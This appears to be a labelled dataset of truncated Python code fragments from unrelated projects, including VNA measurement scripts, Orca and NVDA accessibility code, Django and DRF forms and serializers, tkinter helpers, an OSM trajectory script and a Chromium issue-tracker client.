nbr_points=101, power=-20, bandwidth=100, measure='S21', options_dict=None): """""" Acquires a single trace from the VNA. Inputs: file_name (str), name of the output file. start_freq (float), starting frequency of the trace. stop_freq (float), stoping frequency of the trace. center_freq (float), central frequency of the trace. span (float), span of the trace. nbr_points (int), Number of points within the trace. power (float), power in dBm. bandwidth (float), bandwidth in Hz. measure (str), scattering parameter to measure (ie. 'S21'). Output: NONE Beware that start/stop and center/span are just two ways of configuring the same thing. """""" # set VNA sweep function if start_freq != None and stop_freq != None: MC_instr.set_sweep_function(swf.ZNB_VNA_sweep(VNA_instr, start_freq=start_freq, stop_freq=stop_freq, npts=nbr_points, force_reset=True)) elif center_freq != None and span != None: MC_instr.set_sweep_function(swf.ZNB_VNA_sweep(VNA_instr, center_freq=center_freq, span=span, npts=nbr_points, force_reset=True)) # set VNA detector function MC_instr.set_detector_function(det.ZNB_VNA_detector(VNA_instr)) # VNA settings # VNA_instr.average_state('off') VNA_instr.bandwidth(bandwidth) # hack to measure S parameters different from S21 str_to_write = ""calc:par:meas 'trc1', '%s'"" % measure print(str_to_write) VNA_instr.visa_handle.write(str_to_write) VNA_instr.avg(nr_avg) VNA_instr.number_sweeps_all(nr_avg) VNA_instr.average_mode(sweep_mode) VNA_instr.power(power) VNA_instr.timeout(10**4) t_start = ma.a_tools.current_timestamp() MC_instr.run(name=file_name) t_stop = ma.a_tools.current_timestamp() t_meas = ma.a_tools.get_timestamps_in_range(t_start, t_stop, label=file_name) assert len(t_meas) == 1, ""Multiple timestamps found for this measurement"" t_meas = t_meas[0] # ma.Homodyne_Analysis(auto=True, label=file_name, fitting_model='hanger') # ma.VNA_analysis(auto=True, label=file_name) ma2.VNA_analysis(auto=True, t_start=None, options_dict=options_dict) def acquire_current_trace(file_name): """""" Acquires the trace currently displayed on VNA. Inputs: file_name (str), name of the output file. Output: NONE """""" # get values from VNA start_freq = VNA_instr.start_frequency() stop_freq = VNA_instr.stop_frequency() nbr_points = VNA_instr.npts() power = VNA_instr.power() bandwidth = VNA_instr.bandwidth() current_sweep_time = VNA_instr.sweep_time() print(current_sweep_time) acquire_single_linear_frequency_span(file_name, start_freq=start_freq, stop_freq=stop_freq, nbr_points=nbr_points, power=power, bandwidth=bandwidth) def acquire_linear_frequency_span_vs_power(file_name, start_freq=None, stop_freq=None, center_freq=None, start_power=None, stop_power=None, step_power=2, span=None, nbr_points=101, bandwidth=100, measure='S21'): """""" Acquires a single trace from the VNA. Inputs: file_name (str), name of the output file. start_freq (float), starting frequency of the trace. stop_freq (float), stoping frequency of the trace. center_freq (float), central frequency of the trace. span (float), span of the trace. nbr_points (int), Number of points within the trace. start_power, stop_power, step_power (float), power range in dBm. bandwidth (float), bandwidth in Hz. measure (str), scattering parameter to measure (ie. 'S21'). Output: NONE Beware that start/stop and center/span are just two ways of configuring the same thing. """""" # set VNA sweep function if start_freq != None and stop_freq != None: swf_fct_1D = swf.ZNB_VNA_sweep(VNA_instr, start_freq=start_freq, stop_freq=stop_freq, npts=nbr_points, force_reset=True) MC_instr.set_sweep_function(swf_fct_1D) elif center_freq != None and span != None: swf_fct_1D = swf.ZNB_VNA_sweep(VNA_instr, center_freq=center_freq, span=span, npts=nbr_points, force_reset=True) MC_instr.set_sweep_function(swf_fct_1D) if start_power != None and stop_power != None: # it prepares the sweep_points, such that it does not complain. swf_fct_1D.prepare() MC_instr.set_sweep_points(swf_fct_1D.sweep_points) MC_instr.set_sweep_function_2D(VNA_instr.power) MC_instr.set_sweep_points_2D(np.arange(start_power, stop_power+step_power/2., step_power)) else: raise ValueError('Need to define power range.') # set VNA detector function MC_instr.set_detector_function(det.ZNB_VNA_detector(VNA_instr)) # VNA settings VNA_instr.average_state('off') VNA_instr.bandwidth(bandwidth) # hack to measure S parameters different from S21 str_to_write = ""calc:par:meas 'trc1', '%s'"" % measure print(str_to_write) VNA_instr.visa_handle.write(str_to_write) VNA_instr.timeout(600) MC_instr.run(name=file_name, mode='2D') # ma.Homodyne_Analysis(auto=True, label=file_name, fitting_model='hanger') ma.TwoD_Analysis(auto=True, label=file_name) def acquire_2D_linear_frequency_span_vs_param(file_name, start_freq=None, stop_freq=None, center_freq=None, parameter=None, sweep_vector=None, span=None, nbr_points=101, power=-20, bandwidth=100, measure='S21'): """""" Acquires a single trace from the VNA. Inputs: file_name (str), name of the output file. start_freq (float), starting frequency of the trace. stop_freq (float), stoping frequency of the trace. center_freq (float), central frequency of the trace. span (float), span of the trace. nbr_points (int), Number of points within the trace. power (float), power in dBm. bandwidth (float), bandwidth in Hz. measure (str), scattering parameter to measure (ie. 'S21'). Output: NONE Beware that start/stop and center/span are just two ways of configuring the same thing. """""" # set VNA sweep function if start_freq != None and stop_freq != None: swf_fct_1D = swf.ZNB_VNA_sweep(VNA_instr, start_freq=start_freq, stop_freq=stop_freq, npts=nbr_points, force_reset=True) MC_instr.set_sweep_function(swf_fct_1D) elif center_freq != None and span != None: swf_fct_1D = swf.ZNB_VNA_sweep(VNA_instr, center_freq=center_freq, span=span, npts=nbr_points, force_reset=True) MC_instr.set_sweep_function(swf_fct_1D) if parameter is not None and sweep_vector is not None: # it prepares the sweep_points, such that it does not complain. swf_fct_1D.prepare() MC_instr.set_sweep_points(swf_fct_1D.sweep_points) MC_instr.set_sweep_function_2D(parameter) MC_instr.set_sweep_points_2D(sweep_vector) else: raise ValueError('Need to define parameter and its range.') # set VNA detector function MC_instr.set_detector_function(det.ZNB_VNA_detector(VNA_instr)) # VNA settings VNA_instr.power(power) VNA_instr.average_state('off') VNA_instr.bandwidth(bandwidth) # hack to measure S parameters different from S21 str_to_write = ""calc:par:meas 'trc1', '%s'"" % measure print(str_to_write) VNA_instr.visa_handle.write(str_to_write) VNA_instr.timeout(600) MC_instr.run(name=file_name, mode='2D') # ma.Homodyne_Analysis(auto=True, label=file_name, fitting_model='hanger') ma.TwoD_Analysis(auto=True, label=file_name) def acquire_disjoint_frequency_traces(file_name, list_freq_ranges, power=-20, bandwidth=100, measure='S21'): """""" list_freq_ranges is a list that contains the arays defining all the ranges of interest. """""" for idx, range_array in enumerate(list_freq_ranges): this_file = file_name + '_%d'%idx acquire_single_linear_frequency_span(file_name = this_file, start_freq=range_array[0], stop_freq=range_array[-1], nbr_points=len(range_array), power=power, bandwidth=bandwidth, measure=measure) packing_mmts(file_name, labels=file_name+'__', N=len(list_freq_ranges)) def packing_mmts(file_name, labels, N): # imports data # stacks it toghether for idx in range(N): this_file = file_name + '_%d'%idx ma_obj = ma.MeasurementAnalysis(label=this_file, auto=False) ma_obj.get_naming_and_values() if idx==0: data_points = ma_obj.sweep_points data_vector = ma_obj.measured_values else: data_points = np.hstack((data_points,ma_obj.sweep_points)) data_vector = np.hstack((data_vector,ma_obj.measured_values)) del ma_obj data_vector = np.array(data_vector) data_points = np.array(data_points) sort_mask = np.argsort(data_points) data_points = data_points[sort_mask] data_vector = data_vector[:,sort_mask] # keeps track of sweeppoints call class call_counter: def __init__(self): self.counter=0 swp_points_counter = call_counter() def wrapped_data_importing(counter): counter.counter += 1 return data_vector[:,counter.counter-1] detector_inst = det.Function_Detector_list( sweep_function=wrapped_data_importing, result_keys=['Amp', 'phase', 'I', 'Q' ,'Amp_dB'], msmt_kw={'counter': swp_points_counter}) MC_instr.set_sweep_function(swf.None_Sweep(name='VNA sweep')) MC_instr.set_sweep_points(data_points.flatten()) MC_instr.set_detector_function(detector_inst) MC_instr.run(name=file_name) ",1 " psutil.net_io_counters(pernic=True).keys() @interface class INetworkConfig (object): interfaces = {} @property def interface_list(self): return self.interfaces.values() def rescan(self): pass def save(self): pass @interface class INetworkConfigBit (object): def apply(self): pass @plugin class NetworkConfigBit (UIElement, INetworkConfigBit): cls = 'unknown' iface = None title = 'Unknown' typeid = 'box' class NetworkInterface(object): def __init__(self): self.up = False self.auto = False self.name = '' self.devclass = '' self.addressing = 'static' self.bits = [] self.params = {'address': '0.0.0.0'} self.type = '' self.editable = True def __getitem__(self, idx): if idx in self.params: return self.params[idx] else: return '' def __setitem__(self, idx, val): self.params[idx] = val def add_bits(self, ui): for cls in INetworkConfigBit.get_classes(): if cls.cls in self.bit_classes: b = cls.new(ui) b.iface = self b.refresh() self.bits.append(b) ",1 "quence.append(WaitForDocLoad()) sequence.append(PauseAction(10000)) sequence.append(KeyComboAction(""Tab"")) sequence.append(KeyComboAction(""Tab"")) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Tab"")) sequence.append(utils.AssertPresentationAction( ""1. Tab to Volume Horizontal Slider"", [""BRAILLE LINE: 'Volume 0 % horizontal slider'"", "" VISIBLE: 'Volume 0 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: 'Volume horizontal slider 0 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Right"")) sequence.append(utils.AssertPresentationAction( ""2. Volume Right Arrow"", [""BRAILLE LINE: 'Volume 1 % horizontal slider'"", "" VISIBLE: 'Volume 1 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '1 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Right"")) sequence.append(utils.AssertPresentationAction( ""3. Volume Right Arrow"", [""BRAILLE LINE: 'Volume 2 % horizontal slider'"", "" VISIBLE: 'Volume 2 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '2 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Left"")) sequence.append(utils.AssertPresentationAction( ""4. Volume Left Arrow"", [""BRAILLE LINE: 'Volume 1 % horizontal slider'"", "" VISIBLE: 'Volume 1 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '1 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Left"")) sequence.append(utils.AssertPresentationAction( ""5. Volume Left Arrow"", [""BRAILLE LINE: 'Volume 0 % horizontal slider'"", "" VISIBLE: 'Volume 0 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '0 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Up"")) sequence.append(utils.AssertPresentationAction( ""6. Volume Up Arrow"", [""BRAILLE LINE: 'Volume 1 % horizontal slider'"", "" VISIBLE: 'Volume 1 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '1 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Up"")) sequence.append(utils.AssertPresentationAction( ""7. Volume Up Arrow"", [""BRAILLE LINE: 'Volume 2 % horizontal slider'"", "" VISIBLE: 'Volume 2 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '2 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Down"")) sequence.append(utils.AssertPresentationAction( ""8. Volume Down Arrow"", [""BRAILLE LINE: 'Volume 1 % horizontal slider'"", "" VISIBLE: 'Volume 1 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '1 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Down"")) sequence.append(utils.AssertPresentationAction( ""9. Volume Down Arrow"", [""BRAILLE LINE: 'Volume 0 % horizontal slider'"", "" VISIBLE: 'Volume 0 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '0 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Page_Up"")) sequence.append(utils.AssertPresentationAction( ""10. Volume Page Up"", [""BRAILLE LINE: 'Volume 25 % horizontal slider'"", "" VISIBLE: 'Volume 25 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '25 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Page_Down"")) sequence.append(utils.AssertPresentationAction( ""11. Volume Page Down"", [""BRAILLE LINE: 'Volume 0 % horizontal slider'"", "" VISIBLE: 'Volume 0 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '0 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""End"")) sequence.append(utils.AssertPresentationAction( ""12. Volume End"", [""BRAILLE LINE: 'Volume 100 % horizontal slider'"", "" VISIBLE: 'Volume 100 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '100 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Home"")) sequence.append(utils.AssertPresentationAction( ""13. Volume Home"", [""BRAILLE LINE: 'Volume 0 % horizontal slider'"", "" VISIBLE: 'Volume 0 % horizontal slider', cursor=1"", ""SPEECH OUTPUT: '0 %'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Tab"")) sequence.append(utils.AssertPresentationAction( ""14. Tab to Food Quality Horizontal Slider"", [""KNOWN ISSUE: The double-presentation is because of the authoring, putting the name and value into the description"", ""BRAILLE LINE: 'Food Quality terrible horizontal slider'"", "" VISIBLE: 'Food Quality terrible horizontal', cursor=1"", ""SPEECH OUTPUT: 'Food Quality horizontal slider terrible.'"", ""SPEECH OUTPUT: 'Food Quality: terrible (1 of 5)'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Right"")) sequence.append(utils.AssertPresentationAction( ""15. Food Quality Right Arrow"", [""BRAILLE LINE: 'Food Quality bad horizontal slider'"", "" VISIBLE: 'Food Quality bad horizontal slid', cursor=1"", ""SPEECH OUTPUT: 'bad'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Right"")) sequence.append(utils.AssertPresentationAction( ""16. Food Quality Right Arrow"", [""BRAILLE LINE: 'Food Quality decent horizontal slider'"", "" VISIBLE: 'Food Quality decent horizontal s', cursor=1"", ""SPEECH OUTPUT: 'decent'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Left"")) sequence.append(utils.AssertPresentationAction( ""17. Food Quality Left Arrow"", [""BRAILLE LINE: 'Food Quality bad horizontal slider'"", "" VISIBLE: 'Food Quality bad horizontal slid', cursor=1"", ""SPEECH OUTPUT: 'bad'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Up"")) sequence.append(utils.AssertPresentationAction( ""18. Food Quality Up Arrow"", [""BRAILLE LINE: 'Food Quality decent horizontal slider'"", "" VISIBLE: 'Food Quality decent horizontal s', cursor=1"", ""SPEECH OUTPUT: 'decent'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Down"")) sequence.append(utils.AssertPresentationAction( ""19. Food Quality Down Arrow"", [""BRAILLE LINE: 'Food Quality bad horizontal slider'"", "" VISIBLE: 'Food Quality bad horizontal slid', cursor=1"", ""SPEECH OUTPUT: 'bad'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Down"")) sequence.append(utils.AssertPresentationAction( ""20. Food Quality Down Arrow"", [""BRAILLE LINE: 'Food Quality terrible horizontal slider'"", "" VISIBLE: 'Food Quality terrible horizontal', cursor=1"", ""SPEECH OUTPUT: 'terrible'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Page_Up"")) sequence.append(utils.AssertPresentationAction( ""21. Food Quality Page Up"", [""BRAILLE LINE: 'Food Quality bad horizontal slider'"", "" VISIBLE: 'Food Quality bad horizontal slid', cursor=1"", ""SPEECH OUTPUT: 'bad'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Page_Down"")) sequence.append(utils.AssertPresentationAction( ""22. Food Quality Page Down"", [""BRAILLE LINE: 'Food Quality terrible horizontal slider'"", "" VISIBLE: 'Food Quality terrible horizontal', cursor=1"", ""SPEECH OUTPUT: 'terrible'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""End"")) sequence.append(utils.AssertPresentationAction( ""23. Food Quality End"", [""BRAILLE LINE: 'Food Quality excellent horizontal slider'"", "" VISIBLE: 'Food Quality excellent horizonta', cursor=1"", ""SPEECH OUTPUT: 'excellent'""])) sequence.append(utils.StartRecordingAction()) sequence.append(KeyComboAction(""Home"")) sequence.append(utils.AssertPresentationAction( ""24. Food Quality Home"", [""BRAILLE LINE: 'Food Quality terrible horizontal slider'"", "" VISIBLE: 'Food Quality terrible horizontal', cursor=1"", ""SPEECH OUTPUT: 'terrible'""])) sequence.append(utils.AssertionSummaryAction()) sequence.start() ",1 "ry from djangosige.apps.financeiro.models import PlanoContasGrupo, PlanoContasSubgrupo class PlanoContasGrupoForm(forms.ModelForm): class Meta: model = PlanoContasGrupo fields = ('tipo_grupo', 'descricao',) widgets = { 'descricao': forms.TextInput(attrs={'class': 'form-control'}), 'tipo_grupo': forms.Select(attrs={'class': 'form-control'}), } labels = { 'descricao': _('Descrição'), 'tipo_grupo': _('Tipo de lançamento'), } class PlanoContasSubgrupoForm(forms.ModelForm): class Meta: model = PlanoContasSubgrupo fields = ('descricao',) widgets = { 'descricao': forms.TextInput(attrs={'class': 'form-control'}), } labels = { 'descricao': _('Descrição'), } PlanoContasSubgrupoFormSet = inlineformset_factory( PlanoContasGrupo, PlanoContasSubgrupo, form=PlanoContasSubgrupoForm, fk_name='grupo', extra=1, can_delete=True) ",1 ".parallel| for documentation. Attributes: all_complexes: Alias for :func:`pyphi.compute.network.all_complexes`. ces: Alias for :func:`pyphi.compute.subsystem.ces`. ces_distance: Alias for :func:`pyphi.compute.distance.ces_distance`. complexes: Alias for :func:`pyphi.compute.network.complexes`. concept_distance: Alias for :func:`pyphi.compute.distance.concept_distance`. conceptual_info: Alias for :func:`pyphi.compute.subsystem.conceptual_info`. condensed: Alias for :func:`pyphi.compute.network.condensed`. evaluate_cut: Alias for :func:`pyphi.compute.subsystem.evaluate_cut`. major_complex: Alias for :func:`pyphi.compute.network.major_complex`. phi: Alias for :func:`pyphi.compute.subsystem.phi`. possible_complexes: Alias for :func:`pyphi.compute.network.possible_complexes`. sia: Alias for :func:`pyphi.compute.subsystem.sia`. subsystems: Alias for :func:`pyphi.compute.network.subsystems`. """""" # pylint: disable=unused-import from .distance import ces_distance, concept_distance from .network import ( all_complexes, complexes, condensed, major_complex, possible_complexes, subsystems, ) from .subsystem import ( ConceptStyleSystem, SystemIrreducibilityAnalysisConceptStyle, ces, concept_cuts, conceptual_info, evaluate_cut, phi, sia, sia_concept_style, ) ",1 " INPUT_MOUSE = 0 INPUT_KEYBOARD = 1 INPUT_HARDWARE = 2 MAPVK_VK_TO_VSC = 0 KEYEVENTF_EXTENDEDKEY = 0x0001 KEYEVENTF_KEYUP = 0x0002 KEYEVENT_SCANCODE = 0x0008 KEYEVENTF_UNICODE = 0x0004 class MOUSEINPUT(ctypes.Structure): _fields_ = ( ('dx', ctypes.c_long), ('dy', ctypes.c_long), ('mouseData', ctypes.DWORD), ('dwFlags', ctypes.DWORD), ('time', ctypes.DWORD), ('dwExtraInfo', ctypes.POINTER(ctypes.c_ulong)), ) class KEYBDINPUT(ctypes.Structure): _fields_ = ( ('wVk', ctypes.WORD), ('wScan', ctypes.WORD), ('dwFlags', ctypes.DWORD), ('time', ctypes.DWORD), ('dwExtraInfo', ctypes.POINTER(ctypes.c_ulong)), ) class HARDWAREINPUT(ctypes.Structure): _fields_ = ( ('uMsg', ctypes.DWORD), ('wParamL', ctypes.WORD), ('wParamH', ctypes.WORD), ) class INPUTUnion(ctypes.Union): _fields_ = ( ('mi', MOUSEINPUT), ('ki', KEYBDINPUT), ('hi', HARDWAREINPUT), ) class INPUT(ctypes.Structure): _fields_ = ( ('type', ctypes.DWORD), ('union', INPUTUnion)) class BrailleInputGesture(braille.BrailleDisplayGesture, brailleInput.BrailleInputGesture): def __init__(self, **kwargs): super(BrailleInputGesture, self).__init__() for key, value in kwargs.iteritems(): setattr(self, key, value) self.source=""remote{}{}"".format(self.source[0].upper(),self.source[1:]) self.scriptPath=getattr(self,""scriptPath"",None) self.script=self.findScript() if self.scriptPath else None def findScript(self): if not (isinstance(self.scriptPath,list) and len(self.scriptPath)==3): return None module,cls,scriptName=self.scriptPath focus = api.getFocusObject() if not focus: return None if scriptName.startswith(""kb:""): # Emulate a key press. return scriptHandler._makeKbEmulateScript(scriptName) import globalCommands # Global plugin level. if cls=='GlobalPlugin': for plugin in globalPluginHandler.runningPlugins: if module==plugin.__module__: func = getattr(plugin, ""script_%s"" % scriptName, None) if func: return func # App module level. app = focus.appModule if app and cls=='AppModule' and module==app.__module__: func = getattr(app, ""script_%s"" % scriptName, None) if func: return func # Tree interceptor level. treeInterceptor = focus.treeInterceptor if treeInterceptor and treeInterceptor.isReady: func = getattr(treeInterceptor , ""script_%s"" % scriptName, None) # We are no keyboard input return func # NVDAObject level. func = getattr(focus, ""script_%s"" % scriptName, None) if func: return func for obj in reversed(api.getFocusAncestors()): func = getattr(obj, ""script_%s"" % scriptName, None) if func and getattr(func, 'canPropagate', False): return func # Global commands. func = getattr(globalCommands.commands, ""script_%s"" % scriptName, None) if func: return func return None def send_key(vk=None, scan=None, extended=False, pressed=True): i = INPUT() i.union.ki.wVk = vk if scan: i.union.ki.wScan = scan else: #No scancode provided, try to get one i.union.ki.wScan = ctypes.windll.user32.MapVirtualKeyW(vk, MAPVK_VK_TO_VSC) if not pressed: i.union.ki.dwFlags |= KEYEVENTF_KEYUP if extended: i.union.ki.dwFlags |= KEYEVENTF_EXTENDEDKEY i.type = INPUT_KEYBOARD ctypes.windll.user32.SendInput(1, ctypes.byref(i), ctypes.sizeof(INPUT)) ",1 "ework import routers, serializers, viewsets, permissions from rest_framework_jwt.authentication import JSONWebTokenAuthentication from rest_framework.reverse import reverse from .models import Comment # from accounts.models import MyUser User = get_user_model() class CommentVideoUrlHyperlinkedIdentityField(serializers.HyperlinkedIdentityField): def get_url(self, obj,view_name,request,format): kwargs = { ""cat_slug"":obj.video.category.slug, ""vid_slug"":obj.video.slug } # print(reverse(view_name,kwargs=kwargs)) return reverse(view_name,kwargs=kwargs,request=request,format=format) class CommentUpdateSerializer(serializers.ModelSerializer): user = serializers.CharField(source='user.username',read_only=True) class Meta: model = Comment fields = [ 'id', 'user', 'text' ] class CommentCreateSerializer(serializers.ModelSerializer): class Meta: model = Comment fields = [ 'text', 'user', 'video', 'parent' ] class ChildCommentSerializer(serializers.HyperlinkedModelSerializer): # user = serializers.PrimaryKeyRelatedField(queryset=User.objects.all()) user = serializers.CharField(source='user.username',read_only=True) class Meta: model = Comment fields = [ 'id', ""user"", 'text' ] class CommentSerializer(serializers.HyperlinkedModelSerializer): url = serializers.HyperlinkedIdentityField(""comment_detail_api"",lookup_field=""pk"") # user = serializers.PrimaryKeyRelatedField(queryset=User.objects.all()) video = CommentVideoUrlHyperlinkedIdentityField(""video_detail_api"") user = serializers.CharField(source='user.username',read_only=True) children = serializers.SerializerMethodField(read_only=True) def get_children(self,instance): # queryset = instance.get_children() queryset = Comment.objects.filter(parent__pk =instance.pk) serializer = ChildCommentSerializer(queryset,context={""request"":instance}, many=True) return serializer.data class Meta: model = Comment fields = [ ""url"", 'id', ""children"", # ""parent"", ""user"", 'video', 'text' ] class CommentViewSet(viewsets.ModelViewSet): authentication_classes = [SessionAuthentication, BasicAuthentication, JSONWebTokenAuthentication] permission_classes = [permissions.IsAuthenticated,] queryset = Comment.objects.all() serializer_class = CommentSerializer ",1 " param = self.params() if root is None: # standalone self.__root = tkinter.Tk() self.__root.title(param['title']) self.__root.geometry('%sx%s+%s+%s' % (param['w'], param['h'], param['x'], param['y'] )) else: # inside self.__root = root self.bd = param['bd'] if main_frame is None: # standalone main_f = tkinter.Frame(master=self.__root, bg='black', bd=self.bd) main_f.pack(fill='both', expand=True) else: # inside main_f = main_frame self.make_widgets(main_f) @property def root(self): return self.__root def close(self): self.__root.destroy() self.__root.quit() # Override def make_widgets(self, main_frame): pass # Override def params(self): param = { 'x': 0, 'y': 0, 'w': 500, 'h': 500, 'title': '% Type Prog Title Here %', } return param def mk_scrollable_area(obj, obj_frame, sbars): obj.grid(row=0, column=0, sticky='NSWE') if 'y' in sbars: y_scrollbar = tkinter.ttk.Scrollbar(obj_frame) y_scrollbar.grid(row=0, column=1, sticky='NS') y_scrollbar['command'] = obj.yview obj['yscrollcommand'] = y_scrollbar.set if 'x' in sbars: x_scrollbar = tkinter.ttk.Scrollbar(obj_frame, orient='horizontal') x_scrollbar.grid(row=1, column=0, sticky='WE') x_scrollbar['command'] = obj.xview obj['xscrollcommand'] = x_scrollbar.set obj_frame.columnconfigure(1, 'minsize') obj_frame.columnconfigure(0, weight=1) obj_frame.rowconfigure(1, 'minsize') obj_frame.rowconfigure(0, weight=1) def mk_listbox(frame, side='top', sbars='y', sel_mode=tkinter.EXTENDED): BORDER = 0 COLOR = 'grey' listbox_frame = tkinter.Frame(frame, bg=COLOR, bd=BORDER) listbox_frame.pack(side=side, fill='both', expand=True) listbox = tkinter.Listbox(listbox_frame, selectmode=sel_mode) mk_scrollable_area(listbox, listbox_frame, sbars) return listbox def mk_treeview(frame, side='top', sbars='y'): BORDER = 0 COLOR = 'grey' treeview_frame = tkinter.Frame(frame, bg=COLOR, bd=BORDER) treeview_frame.pack(side=side, fill='both', expand=True) treeview = tkinter.ttk.Treeview(treeview_frame) mk_scrollable_area(treeview, treeview_frame, sbars) return treeview ",1 ". the result automatically generate to ../trajectorySets # 3.1. change variable ""osmName"", or # 3.2. use command argument to specify osm file name # 4. this script generates a set of paths, each includes a series of of points, # and save in originOfLife folder for further parsing. # also, please scroll down the very bottom to see what's the next step osmName = 'San_Jose_20x20.osm' # sample: 'ucla.osm' #osmName = 'Los_Angeles_20x20.osm' # sample: 'ucla.osm' #osmName = 'ucla_5x5.osm' # sample: 'ucla.osm' optionAllowLoop = False # most of the cases are building bounding boxes # support system parameters if len(sys.argv) >= 2: osmName = sys.argv[1] if len(sys.argv) >= 3: optionAllowLoop = (sys.argv[2] == '1') inFile = '../../../Data/osmFiles/' + osmName if len(osmName.split('.')) == 1: osmNameWoExt = osmName else: osmNameWoExt = osmName[:-(1+len(osmName.split('.')[-1]))] outRootDir = '../../../Data/trajectorySets/' outFile = outRootDir + osmNameWoExt + '.tfix' print('input file = ' + inFile) print('output file = ' + outFile) print('') f = open('/tmp/in', 'w') f.write('' + inFile + ''); f.close() # the following command can be slow. a 3x3 mile^2 area takes 53 seconds to generate the result. xmlWayDetail = outRootDir + 'originOfLife/' + osmNameWoExt + '.xml' cmd = 'basex findWayTrajectory.xq > ' + xmlWayDetail print('CMD: ' + cmd) if os.path.isfile(xmlWayDetail): print('File existed. Skip.') else: os.system(cmd) # the next step should be executing the python3 ../makeElevSegMap.py with the input # parameter outFile, but because of the relative folder path issue, integrating # makeElevSegMap.py into this code needs to make big changes. So at this stage, # we still stay on manually executing that script. ",1 "CENSE file. """"""Provides a layer of abstraction for the issue tracker API."""""" import logging from apiclient import discovery from apiclient import errors import httplib2 _DISCOVERY_URI = ('https://monorail-prod.appspot.com' '/_ah/api/discovery/v1/apis/{api}/{apiVersion}/rest') class IssueTrackerService(object): """"""Class for updating bug issues."""""" def __init__(self, http=None, additional_credentials=None): """"""Initializes an object for adding and updating bugs on the issue tracker. This object can be re-used to make multiple requests without calling apliclient.discovery.build multiple times. This class makes requests to the Monorail API. API explorer: https://goo.gl/xWd0dX Args: http: A Http object to pass to request.execute; this should be an Http object that's already authenticated via OAuth2. additional_credentials: A credentials object, e.g. an instance of oauth2client.client.SignedJwtAssertionCredentials. This includes the email and secret key of a service account. """""" self._http = http or httplib2.Http() if additional_credentials: additional_credentials.authorize(self._http) self._service = discovery.build( 'monorail', 'v1', discoveryServiceUrl=_DISCOVERY_URI, http=self._http) def AddBugComment(self, bug_id, comment, status=None, cc_list=None, merge_issue=None, labels=None, owner=None): """"""Adds a comment with the bisect results to the given bug. Args: bug_id: Bug ID of the issue to update. comment: Bisect results information. status: A string status for bug, e.g. Assigned, Duplicate, WontFix, etc. cc_list: List of email addresses of users to add to the CC list. merge_issue: ID of the issue to be merged into; specifying this option implies that the status should be ""Duplicate"". labels: List of labels for bug. owner: Owner of the bug. Returns: True if successful, False otherwise. """""" if not bug_id or bug_id < 0: return False body = {'content': comment} updates = {} # Mark issue as duplicate when relevant bug ID is found in the datastore. # Avoid marking an issue as duplicate of itself. if merge_issue and int(merge_issue) != bug_id: status = 'Duplicate' updates['mergedInto'] = merge_issue logging.info('Bug %s marked as duplicate of %s', bug_id, merge_issue) if status: updates['status'] = status if cc_list: updates['cc'] = cc_list if labels: updates['labels'] = labels if owner: updates['owner'] = owner body['updates'] = updates return self._MakeCommentRequest(bug_id, body) def List(self, **kwargs): """"""Make a request to the issue tracker to list bugs."""""" request = self._service.issues().list(projectId='chromium', **kwargs) return self._ExecuteRequest(request) def _MakeCommentRequest(self, bug_id, body): """"""Make a request to the issue tracker to update a bug."""""" request = self._service.issues().comments().insert( projectId='chromium', issueId=bug_id, body=body) response = self._ExecuteRequest(request) if not response: logging.error('Error updating bug %s with body %s', bug_id, body) return False return True def NewBug(self, title, description, labels=None, components=None, owner=None): """"""Creates a new bug. Args: title: The short title text of the bug. description: The body text for the bug. labels: Starting labels for the bug. components: Starting components for the bug. owner: Starting owner account name. Returns: The new bug ID if successfully created, or None. """""" body = { 'title': title, 'summary': title, 'description': description, 'labels': labels or [], 'components': components or [], 'status': 'Assigned', } if owner: body['owner'] = {'name': owner} return self._MakeCreateRequest(body) def _MakeCreateRequest(self, body): """"""Makes a request to create a new bug. Args: body: The request body parameter dictionary. Returns: A bug ID if successful, or None otherwise. """""" request = self._service.issues().insert(projectId='chromium', body=body) response = self._ExecuteRequest(request) if response and 'id' in response: return response['id'] return None def GetLastBugCommentsAndTimestamp(self, bug_id): """"""Gets last updated comments and timestamp in the given bug. Args: bug_id: Bug ID of the issue to update. Returns: A dictionary with last comment and timestamp, or None on failure. """""" if not bug_id or bug_id < 0: return None response = self._MakeGetCommentsRequest(bug_id) if response and all(v in response.keys() for v in ['totalResults', 'items']): bug_comments = response.get('items')[response.get('totalResults') - 1] if bug_comments.get('content') and 